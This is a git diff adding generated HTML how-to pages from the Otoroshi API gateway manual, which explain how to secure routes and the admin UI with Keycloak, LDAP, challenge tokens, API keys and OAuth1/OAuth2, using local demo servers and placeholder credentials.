Go back to the Authentication Keycloak module inside Otoroshi UI, and turn off Super admins only. Save the configuration.

+

Once done, try again the connection to Otoroshi using Keycloak third-party server. Now, your rights should be :

+
[
+  {
+    "tenant": "*:rw",
+    "teams": [
+      "*:rw",
+      "my-future-team:rw"
+    ]
+  }
+]
+
+

Secure an app with Keycloak authentication

+

The only change to apply on the previous authentication module is on the callback URL. When you want secure a Otoroshi service, and transform it on Private App, you need to set the Callback URL at http://privateapps.oto.tools:8080/privateapps/generic/callback. This configuration will redirect users to the backend service after they have successfully logged in.

+
    +
  1. Go back to the authentication module
  2. +
  3. Jump to the Callback URL field
  4. +
  5. Paste this value http://privateapps.oto.tools:8080/privateapps/generic/callback
  6. +
  7. Save your configuration
  8. +
  9. Navigate to http://myservice.oto.tools:8080.
  10. +
  11. You should redirect to the keycloak login page.
  12. +
  13. Once logged in, you can check the content of the private app session created.
  14. +
+

The rights should be :

+
[
+  {
+    "tenant": "*:rw",
+    "teams": [
+      "*:rw",
+      "my-future-team:rw"
+    ]
+  }
+]
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-app-with-ldap.html b/docs/manual/how-to-s/secure-app-with-ldap.html new file mode 100644 index 0000000000..c27d405396 --- /dev/null +++ b/docs/manual/how-to-s/secure-app-with-ldap.html @@ -0,0 +1,644 @@ + + + + +Secure an app and/or your Otoroshi UI with LDAP · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an app and/or your Otoroshi UI with LDAP

+
+Route plugins: +Authentication +
+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Running an simple OpenLDAP server

+

Run OpenLDAP docker image :

+
docker run \
+  -p 389:389 \
+  -p 636:636  \
+  --env LDAP_ORGANISATION="Otoroshi company" \
+  --env LDAP_DOMAIN="otoroshi.tools" \
+  --env LDAP_ADMIN_PASSWORD="otoroshi" \
+  --env LDAP_READONLY_USER="false" \
+  --env LDAP_TLS"false" \
+  --env LDAP_TLS_ENFORCE"false" \
+  --name my-openldap-container \
+  --detach osixia/openldap:1.5.0
+
+

Let’s make the first search in our LDAP container :

+
docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=otoroshi,dc=tools -D "cn=admin,dc=otoroshi,dc=tools" -w otoroshi
+
+

This should output :

+
# extended LDIF
+ ...
+# otoroshi.tools
+dn: dc=otoroshi,dc=tools
+objectClass: top
+objectClass: dcObject
+objectClass: organization
+o: Otoroshi company
+dc: otoroshi
+
+# search result
+search: 2
+result: 0 Success
+...
+
+

Now you can seed the open LDAP server with a few users.

+

Join your LDAP container.

+
docker exec -it my-openldap-container "/bin/bash"
+
+

The command ldapadd needs of a file to run.

+

Launch this command to create a bootstrap.ldif with one organization, one singers group with John user and a last group with Baz as scientist.

+
echo -e "
+dn: ou=People,dc=otoroshi,dc=tools
+objectclass: top
+objectclass: organizationalUnit
+ou: People
+
+dn: ou=Role,dc=otoroshi,dc=tools
+objectclass: top
+objectclass: organizationalUnit
+ou: Role
+
+dn: uid=john,ou=People,dc=otoroshi,dc=tools
+objectclass: top
+objectclass: person
+objectclass: organizationalPerson
+objectclass: inetOrgPerson
+uid: john
+cn: John
+sn: Brown
+mail: john@otoroshi.tools
+postalCode: 88442
+userPassword: password
+
+dn: uid=baz,ou=People,dc=otoroshi,dc=tools
+objectclass: top
+objectclass: person
+objectclass: organizationalPerson
+objectclass: inetOrgPerson
+uid: baz
+cn: Baz
+sn: Wilson
+mail: baz@otoroshi.tools
+postalCode: 88443
+userPassword: password
+
+dn: cn=singers,ou=Role,dc=otoroshi,dc=tools
+objectclass: top
+objectclass: groupOfNames
+cn: singers
+member: uid=john,ou=People,dc=otoroshi,dc=tools
+
+dn: cn=scientists,ou=Role,dc=otoroshi,dc=tools
+objectclass: top
+objectclass: groupOfNames
+cn: scientists
+member: uid=baz,ou=People,dc=otoroshi,dc=tools
+" > bootstrap.ldif
+
+ldapadd -x -w otoroshi -D "cn=admin,dc=otoroshi,dc=tools" -f bootstrap.ldif -v
+
+

Create an Authentication configuration

+
    +
  • Go ahead, and navigate to http://otoroshi.oto.tools:8080
  • +
  • Click on the cog icon on the top right
  • +
  • Then Authentication configs button
  • +
  • And add a new configuration when clicking on the Add item button
  • +
  • Select the Ldap auth. provider in the type selector field
  • +
  • Set a basic name and description
  • +
  • Then set ldap://localhost:389 as LDAP Server URLand dc=otoroshi,dc=tools as Search Base
  • +
  • Create a group filter (in the next part, we’ll change this filter to spread users in different groups with given rights) with +
      +
    • objectClass=groupOfNames as Group filter
    • +
    • All as Tenant
    • +
    • All as Team
    • +
    • Read/Write as Rights
    • +
    +
  • +
  • Set the search filter as (uid=${username})
  • +
  • Set cn=admin,dc=otoroshi,dc=tools as Admin username
  • +
  • Set otoroshi as Admin password
  • +
  • At the bottom of the page, disable the secure button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)
  • +
+

At this point, your configuration should be similar to :

+ + +
+

Dont’ forget to save on the bottom page your configuration before to quit the page.

+
+
    +
  • +

    Test the connection when clicking on Test admin connection button. This should show a It works! message

  • +
  • +

    Finally, test the user connection button and set john/password or baz/password as credentials. This should show a It works! message

  • +
+
+

Dont’ forget to save on the bottom page your configuration before to quit the page.

+
+

Connect to Otoroshi with LDAP authentication

+

To secure Otoroshi with your LDAP configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.

+
    +
  • Navigate to the danger zone (when clicking on the cog on the top right and selecting Danger zone)
  • +
  • Scroll to the BackOffice auth. settings
  • +
  • Select your last Authentication configuration (created in the previous section)
  • +
  • Save the global configuration with the button on the top right
  • +
+

Testing your configuration

+ +
+

A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.

+
+

Secure an app with LDAP authentication

+

Once the configuration is done, you can secure any of Otoroshi routes.

+
    +
  • Navigate to any created route
  • +
  • Add the Authentication plugin to your route
  • +
  • Select your Authentication config inside the list
  • +
  • Save your configuration
  • +
+

Now try to call your route. The login module should appear.

+

Manage LDAP users rights on Otoroshi

+

For each group filter, you can affect a list of rights:

+
    +
  • on an Organization
  • +
  • on a Team
  • +
  • and a level of rights : Read, Write or Read/Write
  • +
+

Start by navigate to your authentication configuration (created in previous step).

+

Then, replace the values of the Mapping group filter field to match LDAP groups with Otoroshi rights.

+ + +

With this configuration, Baz is an administrator of Otoroshi with full rights (read / write) on all organizations.

+

Conversely, John can’t see any configuration pages (like the danger zone) because he has only the read rights on Otoroshi.

+

You can easily test this behaviour by testing with both credentials.

+

Advanced usage of LDAP Authentication

+

In the previous section, we have define rights for each LDAP groups. But in some case, we want to have a finer granularity like set rights for a specific user. The last 4 fields of the authentication form cover this.

+

Let’s start by adding few properties for each connected users with Extra metadata.

+
// Add this configuration in extra metadata part
+{
+  "provider": "OpenLDAP"
+}
+
+

The next field Data override is merged with extra metadata when a user connects to a private app or to the UI (inside Otoroshi, private app is a service secure by any authentication module). The Email field name is configured to match with the mail field from LDAP user data.

+
{
+  "john@otoroshi.tools": {
+    "stage_name": "Will"
+  }
+}
+
+

If you try to connect to an app with this configuration, the user result profile should be :

+
{
+  ...,
+  "metadata": {
+    "lastname": "Willy",
+    "stage_name": "Will"
+  }
+}
+
+

Let’s try to increase the John rights with the Additional rights group.

+

This field supports the creation of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.

+
// increase_john_rights is a virtual group which adds full access rights at john 
+{
+  "increase_john_rights": {
+    "rights": [
+      {
+        "tenant": "*:rw",
+        "teams": [
+          "*:rw"
+        ]
+      }
+    ],
+    "users": [
+      "john@otoroshi.tools"
+    ]
+  }
+}
+
+

The last field Rights override is useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.

+

To resume, when John connects to Otoroshi, he receives the rights to only read the default Organization (from Mapping group filter), then he is promote to administrator role (from Additional rights group) and finally his rights are reset with the last field Rights override to the read rights.

+
{
+  "john@otoroshi.tools": [
+    {
+      "tenant": "*:r",
+      "teams": [
+        "*:r"
+      ]
+    }
+  ]
+}
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.html b/docs/manual/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.html new file mode 100644 index 0000000000..1b40b5facf --- /dev/null +++ b/docs/manual/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.html @@ -0,0 +1,487 @@ + + + + +Secure the communication between a backend app and Otoroshi · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure the communication between a backend app and Otoroshi

+
+Route plugins: +Otoroshi challenge token +

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Let’s create a new route with the Otorochi challenge plugin enabled.

+
curl -X POST http://otoroshi-api.oto.tools:8080/api/routes \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "myapi",
+  "frontend": {
+    "domains": ["myapi.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "localhost",
+        "port": 8081,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+      "enabled": true,
+      "plugin": "cp:otoroshi.next.plugins.OtoroshiChallenge",
+      "config": {
+        "version": 2,
+        "ttl": 30,
+        "request_header_name": "Otoroshi-State",
+        "response_header_name": "Otoroshi-State-Resp",
+        "algo_to_backend": {
+            "type": "HSAlgoSettings",
+            "size": 512,
+            "secret": "secret",
+            "base64": false
+        },
+        "algo_from_backend": {
+            "type": "HSAlgoSettings",
+            "size": 512,
+            "secret": "secret",
+            "base64": false
+        },
+        "state_resp_leeway": 10
+      }
+    }
+  ]
+}
+EOF
+
+

Let’s use the following application, developed in NodeJS, which supports both versions of the exchange protocol.

+

Clone this repository and run the installation of the dependencies.

+
git clone 'git@github.com:MAIF/otoroshi.git' --depth=1
+cd ./otoroshi/demos/challenge
+npm install
+PORT=8081 node server.js
+
+

The last command should return :

+
challenge-verifier listening on http://0.0.0.0:8081
+
+

This project runs an express client with one middleware. The middleware handles each request, and check if the header State token header is present in headers. By default, the incoming expected header is Otoroshi-State by the application and Otoroshi-State-Resp header in the headers of the return request.

+

Try to call your service via http://myapi.oto.tools:8080/. This should return a successful response with all headers received by the backend app.

+

Now try to disable the middleware in the nodejs file by commenting the following line.

+
// app.use(OtoroshiMiddleware());
+
+

Try to call again your service. This time, Otoroshi breaks the return response from your backend service, and returns.

+
Downstream microservice does not seems to be secured. Cancelling request !
+
+ +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-with-apikey.html b/docs/manual/how-to-s/secure-with-apikey.html new file mode 100644 index 0000000000..e82aaeed70 --- /dev/null +++ b/docs/manual/how-to-s/secure-with-apikey.html @@ -0,0 +1,597 @@ + + + + +Secure an api with api keys · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an api with api keys

+
+Route plugins: +Apikeys +
+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a simple route

+

From UI

+
    +
  1. Navigate to http://otoroshi.oto.tools:8080/bo/dashboard/routes and click on the create new route button
  2. +
  3. Give a name to your route
  4. +
  5. Save your route
  6. +
  7. Set myservice.oto.tools as frontend domains
  8. +
  9. Set https://mirror.otoroshi.io as backend target (hostname: mirror.otoroshi.io, port: 443, Tls: Enabled)
  10. +
+

From Admin API

+
curl -X POST http://otoroshi-api.oto.tools:8080/api/routes \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "id": "myservice",
+  "name": "myapi",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+

Secure routes with api key

+

By default, a route is public. In our case, we want to secure all paths starting with /api and leave all others unauthenticated.

+

Let’s add a new plugin, called Apikeys, to our route. Search in the list of plugins, then add it to the flow. Once done, restrict its range by setting up /api in the Informations>include section.

+

From Admin API

+
curl -X PUT http://otoroshi-api.oto.tools:8080/api/routes/myservice \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "id": "myservice",
+  "name": "myapi",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+      "enabled": true,
+      "plugin": "cp:otoroshi.next.plugins.ApikeyCalls",
+      "include": [
+          "/api"
+      ],
+      "config": {
+          "validate": true,
+          "mandatory": true,
+          "wipe_backend_request": true,
+          "update_quotas": true
+      }
+    }
+  ]
+}
+EOF
+
+

Navigate to http://myservice.oto.tools:8080/api/test again. If the service is configured, you should have a Service Not found error.

+

The expected error on the /api/test, indicate that an api key is required to access to this part of the backend service.

+

Navigate to any other routes which are not starting by /api/* like http://myservice.oto.tools:8080/test/bar

+

Generate an api key to request secure services

+

Navigate to http://otoroshi.oto.tools:8080/bo/dashboard/apikeys/add or when clicking on the Add apikey button on the sidebar.

+

The only required fields of an Otoroshi api key are :

+
    +
  • ApiKey id
  • +
  • ApiKey Secret
  • +
  • ApiKey Name
  • +
+

These fields are automatically generated by Otoroshi. However, you can override these values and indicate an additional description.

+

To simplify the rest of the tutorial, set the values:

+
    +
  • my-first-api-key-id as ApiKey Id
  • +
  • my-first-api-key-secret as ApiKey Secret
  • +
+

Click on Create and stay on this ApiKey button at the bottom of the page.

+

Now you created the key, it’s time to call our previous generated service with it.

+

Otoroshi supports 4 methods to achieve that:

+

First one by passing Otoroshi api key in two headers : Otoroshi-Client-Id and Otoroshi-Client-Secret (these headers names can be override on each service). The second by passing Otoroshi api key in the authentication Header (basically the Authorization header) as a basic encoded value. The third option is to use the bearer generated for your apikey (you can get it by calling curl http://otoroshi-api.oto.tools:8080/api/apikeys/my-first-api-key-id/bearer). A fourth option is to use jwt token but we will not review it here but you can find a tutorial here.

+

Let’s go ahead and call our service with the first method :

+
curl -X GET \
+  -H 'Otoroshi-Client-Id: my-first-api-key-id' \
+  -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+

then with the second method using basic authentication:

+
curl -X GET \
+  -H 'Authorization: Basic bXktZmlyc3QtYXBpLWtleS1pZDpteS1maXJzdC1hcGkta2V5LXNlY3JldA==' \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+

or

+
curl -X GET \
+  -u my-first-api-key-id:my-first-api-key-secret \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+

then with the third method using otoroshi bearer:

+
curl -X GET \
+  -H 'Authorization: Bearer otoapk_my-first-api-key-id_99cb8e081d692044593ad0e658a67a5114f7afbdcbeb26f8087cce0df3b610b2' \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+
+

Tips : To easily fill your headers, you can jump to the Call examples section in each api key view. In this section the header names are the default values and the service url is not set. You have to adapt these lines to your case.

+
+

Override defaults headers names for a route

+

In some case, we want to change the defaults headers names (and it’s a quite good idea).

+

Let’s start by navigating to the Apikeys plugin in the Designer of our route.

+

The first values to change are the headers names used to read the api key from client. Start by clicking on extractors > CustomHeaders and set the following values :

+
    +
  • api-key-header-id as Custom client id header name
  • +
  • api-key-header-secret as Custom client secret header name
  • +
+

Save the route, and call the service again.

+
curl -X GET \
+  -H 'Otoroshi-Client-Id: my-first-api-key-id' \
+  -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+

This should output an error because Otoroshi are expecting the api keys in other headers.

+
{
+  "Otoroshi-Error": "No ApiKey provided"
+}
+
+

Call one again the service but with the changed headers names.

+
curl -X GET \
+  -H 'api-key-header-id: my-first-api-key-id' \
+  -H 'api-key-header-secret: my-first-api-key-secret' \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+

All others default services will continue to accept the api keys with the Otoroshi-Client-Id and Otoroshi-Client-Secret headers, whereas our service, will accept the api-key-header-id and api-key-header-secret headers.

+

Accept only api keys with expected values

+

By default, a secure service only accepts requests with api key. But all generated api keys are eligible to call our service and in some case, we want authorize only a couple of api keys.

+

You can restrict the list of accepted api keys by giving a list of metadata or/and tags. Each api key has a list of tags and metadata, which can be used by Otoroshi to validate a request with an api key. All api key metadata/tags can be forward to your service (see Otoroshi Challenge section of a service to get more information about Otoroshi info. token).

+

Let’s starting by only accepting api keys with the otoroshi tag.

+

Click on the ApiKeys plugin, and enabled the Routing section. These constraints guarantee that a request will only be transmitted if all the constraints are validated.

+

In our first case, set otoroshi in One Tag in array and save the service. Then call our service with :

+
curl -X GET \
+  -H 'Otoroshi-Client-Id: my-first-api-key-id' \
+  -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \
+  'http://myservice.oto.tools:8080/api/test' --include
+
+

This should output :

+
// Error reason : Our api key doesn't contains the expected tag.
+{
+  "Otoroshi-Error": "Bad API key"
+}
+
+

Navigate to the edit page of our api key, and jump to the Metadata and tags section. In this section, add otoroshi in Tags array, then save the api key. Call once again your call and you will normally get a successful response of our backend service.

+

In this example, we have limited our service to API keys that have otoroshi as a tag.

+

Otoroshi provides a few others behaviours. For each behaviour, Api key used should:

+
    +
  • All Tags in : have all of the following tags
  • +
  • No Tags in : not have one of the following tags
  • +
  • One Tag in : have at least one of the following tags
  • +
+
+
    +
  • All Meta. in : have all of the following metadata entries
  • +
  • No Meta. in : not have one of the following metadata entries
  • +
  • One Meta. in : have at least one of the following metadata entries
  • +
+
+
    +
  • One Meta key in : have at least one of the following key in metadata
  • +
  • All Meta key in : have all of the following keys in metadata
  • +
  • No Meta key in : not have one of the following keys in metadata
  • +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-with-oauth1-client.html b/docs/manual/how-to-s/secure-with-oauth1-client.html new file mode 100644 index 0000000000..4f744a2ce4 --- /dev/null +++ b/docs/manual/how-to-s/secure-with-oauth1-client.html @@ -0,0 +1,565 @@ + + + + +Secure an app with OAuth1 client flow · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an app with OAuth1 client flow

+
+Route plugins: +Authentication +
+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Running an simple OAuth 1 server

+

In this tutorial, we’ll instantiate a oauth 1 server with docker. If you alredy have the necessary, skip this section to.

+

Let’s start by running the server

+
docker run -d --name oauth1-server --rm \
+    -p 5000:5000 \
+    -e OAUTH1_CLIENT_ID=2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET \
+    -e OAUTH1_CLIENT_SECRET=wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp \
+    -e OAUTH1_REDIRECT_URI=http://otoroshi.oto.tools:8080/backoffice/auth0/callback \
+    ghcr.io/beryju/oauth1-test-server
+
+

We created a oauth 1 server which accepts http://otoroshi.oto.tools:8080/backoffice/auth0/callback as Redirect URI. This URL is used by Otoroshi to retrieve a token and a profile at the end of an authentication process.

+

After this command, the container logs should output :

+
127.0.0.1 - - [14/Oct/2021 12:10:49] "HEAD /api/health HTTP/1.1" 200 -
+
+

Create an OAuth 1 provider module

+
    +
  1. Go ahead, and navigate to http://otoroshi.oto.tools:8080
  2. +
  3. Click on the cog icon on the top right
  4. +
  5. Then Authentication configs button
  6. +
  7. And add a new configuration when clicking on the Add item button
  8. +
  9. Select the Oauth1 provider in the type selector field
  10. +
  11. Set a basic name and description like oauth1-provider
  12. +
  13. Set 2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET as Consumer key
  14. +
  15. Set wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp as Consumer secret
  16. +
  17. Set http://localhost:5000/oauth/request_token as Request Token URL
  18. +
  19. Set http://localhost:5000/oauth/authorize as Authorize URL
  20. +
  21. Set http://localhost:oauth/access_token as Access token URL
  22. +
  23. Set http://localhost:5000/api/me as Profile URL
  24. +
  25. Set http://otoroshi.oto.tools:8080/backoffice/auth0/callback as Callback URL
  26. +
  27. At the bottom of the page, disable the secure button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)
  28. +
+

At this point, your configuration should be similar to :

+ + +

With this configuration, the connected user will receive default access on teams and organizations. If you want to change the access rights for a specific user, you can achieve it with the Rights override field and a configuration like :

+
{
+  "foo@example.com": [
+    {
+      "tenant": "*:rw",
+      "teams": [
+        "*:rw"
+      ]
+    }
+  ]
+}
+
+

Save your configuration at the bottom of the page, then navigate to the danger zone to use your module as a third-party connection to the Otoroshi UI.

+

Connect to Otoroshi with OAuth1 authentication

+

To secure Otoroshi with your OAuth1 configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.

+
    +
  1. Navigate to the danger zone (when clicking on the cog on the top right and selecting Danger zone)
  2. +
  3. Scroll to the BackOffice auth. settings
  4. +
  5. Select your last Authentication configuration (created in the previous section)
  6. +
  7. Save the global configuration with the button on the top right
  8. +
+

Testing your configuration

+
    +
  1. Disconnect from your instance
  2. +
  3. Then click on the Login using third-party button (or navigate to http://otoroshi.oto.tools:8080)
  4. +
  5. Click on Login using Third-party button
  6. +
  7. If all is configured, Otoroshi will redirect you to the oauth 1 server login page
  8. +
  9. Set example-user as user and trust the user by clicking on yes button.
  10. +
  11. Good work! You’re connected to Otoroshi with an OAuth1 module.
  12. +
+
+

A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.

+
+

Secure an app with OAuth 1 authentication

+

With the previous configuration, you can secure any of Otoroshi services with it.

+

The first step is to apply a little change on the previous configuration.

+
    +
  1. Navigate to http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs.
  2. +
  3. Create a new auth module configuration with the same values.
  4. +
  5. Replace the Callback URL field to http://privateapps.oto.tools:8080/privateapps/generic/callback (we changed this value because the redirection of a logged user by a third-party server is cover by an other route by Otoroshi).
  6. +
  7. Disable the secure button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)
  8. +
+
+

Note : an Otoroshi service is called a private app when it is protected by an authentication module.

+
+

Our example server supports only one redirect URI. We need to kill it, and to create a new container with http://otoroshi.oto.tools:8080/privateapps/generic/callback as OAUTH1_REDIRECT_URI

+
docker rm -f oauth1-server
+docker run -d --name oauth1-server --rm \
+    -p 5000:5000 \
+    -e OAUTH1_CLIENT_ID=2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET \
+    -e OAUTH1_CLIENT_SECRET=wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp \
+    -e OAUTH1_REDIRECT_URI=http://privateapps.oto.tools:8080/privateapps/generic/callback \
+    ghcr.io/beryju/oauth1-test-server
+
+

Once the authentication module and the new container created, we can define the authentication module on the service.

+
    +
  1. Navigate to any created route
  2. +
  3. Search in the list of plugins the plugin named Authentication
  4. +
  5. Select your Authentication config inside the list
  6. +
  7. Don’t forget to save your configuration.
  8. +
+

Now you can try to call your route and see the login module appears.

+
+ +
+

The allow access to the user.

+
+ +
+

If you had any errors, make sure of :

+
    +
  • check if you are on http or https, and if the secure cookie option is enabled or not on the authentication module
  • +
  • check if your OAuth1 server has the REDIRECT_URI set on privateapps/…
  • +
  • Make sure your server supports POST or GET OAuth1 flow set on authentication module
  • +
+

Once the configuration is working, you can check, when connecting with an Otoroshi admin user, the Private App session created (use the cog at the top right of the page, and select Priv. app sesssions, or navigate to http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private).

+

One interesing feature is to check the profile of the connected user. In our case, when clicking on the Profile button of the right user, we should have :

+
{
+  "email": "foo@example.com",
+  "id": 1,
+  "name": "test name",
+  "screen_name": "example-user"
+}
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-with-oauth2-client-credentials.html b/docs/manual/how-to-s/secure-with-oauth2-client-credentials.html new file mode 100644 index 0000000000..8bb9f9859c --- /dev/null +++ b/docs/manual/how-to-s/secure-with-oauth2-client-credentials.html @@ -0,0 +1,503 @@ + + + + +Secure an app with OAuth2 client_credential flow · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an app with OAuth2 client_credential flow

+ +

Otoroshi makes it easy for your app to implement the OAuth2 Client Credentials Flow.

+

With machine-to-machine (M2M) applications, the system authenticates and authorizes the app rather than a user. With the client credential flow, applications will pass along their Client ID and Client Secret to authenticate themselves and get a token.

+

Deployed the Client Credential Service

+

The Client Credential Service must be enabled as a global plugin on your Otoroshi instance. Once enabled, it will expose three endpoints to issue and validate tokens for your routes.

+

Let’s navigate to your otoroshi instance (in our case http://otoroshi.oto.tools:8080) on the danger zone (top right cog icon / Danger zone or at /bo/dashboard/dangerzone).

+

To enable a plugin in global on Otoroshi, you must add it in the Global Plugins section.

+
    +
  1. Open the Global Plugin section
  2. +
  3. Click on enabled (if not already done)
  4. +
  5. Search the plugin named Client Credential Service of type Sink (you need to enabled it on the old or new Otoroshi engine, depending on your use case)
  6. +
  7. Inject the default configuration by clicking on the button (if you are using the old Otoroshi engine)
  8. +
+

If you click on the arrow near each plugin, you will have the documentation of the plugin and its default configuration.

+

The client credential plugin has by default 4 parameters :

+
    +
  • domain: a regex used to expose the three endpoints (default: *) +
  • +
  • expiration: duration until the token expire (in ms) (default: 3600000)
  • +
  • defaultKeyPair: a key pair used to sign the jwt token. By default, Otoroshi is deployed with an otoroshi-jwt-signing that you can visualize on the jwt verifiers certificates (default: “otoroshi-jwt-signing”)
  • +
  • secure: if enabled, Otoroshi will expose routes only in the https requests case (default: true)
  • +
+

In this tutorial, we will set the configuration as following :

+
    +
  • domain: oauth.oto.tools
  • +
  • expiration: 3600000
  • +
  • defaultKeyPair: otoroshi-jwt-signing
  • +
  • secure: false
  • +
+

Now that the plugin is running, third routes are exposed on each matching domain of the regex.

+
    +
  • GET /.well-known/otoroshi/oauth/jwks.json : retrieve all public keys presents in Otoroshi
  • +
  • POST /.well-known/otoroshi/oauth/token/introspect : validate and decode the token
  • +
  • POST /.well-known/otoroshi/oauth/token : generate a token with the fields provided
